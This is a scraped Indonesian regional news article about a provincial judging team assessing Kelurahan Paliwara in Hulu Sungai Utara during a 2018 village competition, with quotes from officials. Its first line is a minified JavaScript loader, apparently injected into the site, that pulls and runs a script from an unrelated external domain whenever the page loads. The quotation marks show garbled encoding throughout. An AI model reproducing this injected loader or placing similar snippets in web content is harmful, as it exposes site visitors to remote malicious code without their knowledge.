(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Bupati HSU H Abdul Wahid serta puluhan pelajar SD sambut kedatangan tim penilai lomba kelurahan tingkat provinsi, Senin (7/5). Kelurahan Paliwara, Kecamatan Amuntai Tengah mewakili Kabupaten Hulu Sungai Utara (HSU) dalam lomba kelurahan tingkat provinsi Kalimantan Selatan tahun 2018.
Ketua Tim Penilai Hadi Purwanto mengatakan, lomba desa dan kelurahan ini merupakan tindak lanjut Undang-Undang No. 6 tahun 2014 dan Peraturan Menteri Dalam Negeri No. 81 tahun 2015 tentang evaluasi perkembangan desa. Adapun aspek penilaian lomba desa dan kelurahan meliputi aspek pemerintahan, pelayanan masyarakat, dan kegiatan pembangunan.â€ÂJadi kita akan selalu melihat perkembangan desa dan kelurahan setiap tahunnya,†kata Hadi.
Hadi menambahkan, kegiatan ini menjadi sebuah indikator semangat kemajuan pembangunan selama kurun waktu satu tahun dalam pemerintahan, kewilayahan, dan kemasyarakatan. Selain itu juga memacu partisipasi masyarakat dalam pembangunan desa dan kelurahan, serta menjadi faktor otonomi daerah.
“Untuk menjadi juara, masyarakat juga harus meningkatkan gotong royong dan kebersamaan. Diharapkan Kepala Desa dan Lurah meningkatkan partisipasi masyarakat dalam pembangunan desa dan kelurahan dengan penguatan kelembagaan, peningkatan motivasi, partisipasi, dan swadaya gotong royong masyarakat yang terpelihara sebaik-baiknya,†pesan Hadi
Dikatakannya, untuk hasil penilaian lomba ini akan diketahui di akhir bulan Juni mendatang. Ada 6 Kelurahan dan 6 Desa terbaik yang nanti akan diekspose dan langsung dilihat oleh pusat.
Lurah Paliwara Abdul Hairani mengatakan, Kelurahan Paliwara mengikuti lomba Kelurahan tingkat Provinsi Kalimantan Selatan tahun 2018 berdasarkan keputusan Bupati Hulu Sungai Utara No 188.45/445/KUM/2018.
Selama ini Kelurahan Paliwara menjalankan roda pemerintahan, pembangunan dan kemasyarakatan berpedoman pada Undang-Undang Tahun No. 73 Tahun 2005 tentang Kelurahan dan sesuai Peraturan Daerah Kabupaten HSU No. 52 Tahun 2017 tentang pembentukan organisasi dan tata kerja pemerintahan kelurahan.
“Kami menghendaki adanya perpaduan harmonis antara peran pemerintah dan peran serta masyarakat dalam pembangunan di Kabupaten Hulu Sungai Utara,†imbuh Hairani.
Sementara itu, Bupati HSU H. Abdul Wahid HK mengatakan, sebagai perwakilan dari Kabupaten HSU, Kelurahan Paliwara dinilai layak untuk mengikuti lomba pada tingkat provinsi Kalimantan Selatan. Salah satu alasannya karena kelurahan ini merupakan satu-satunya kelurahan di HSU yang sungainya bebas dari jamban. “Semua penduduknya telah memiliki WC sehat,†kata Wahid. (dewahyudi)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.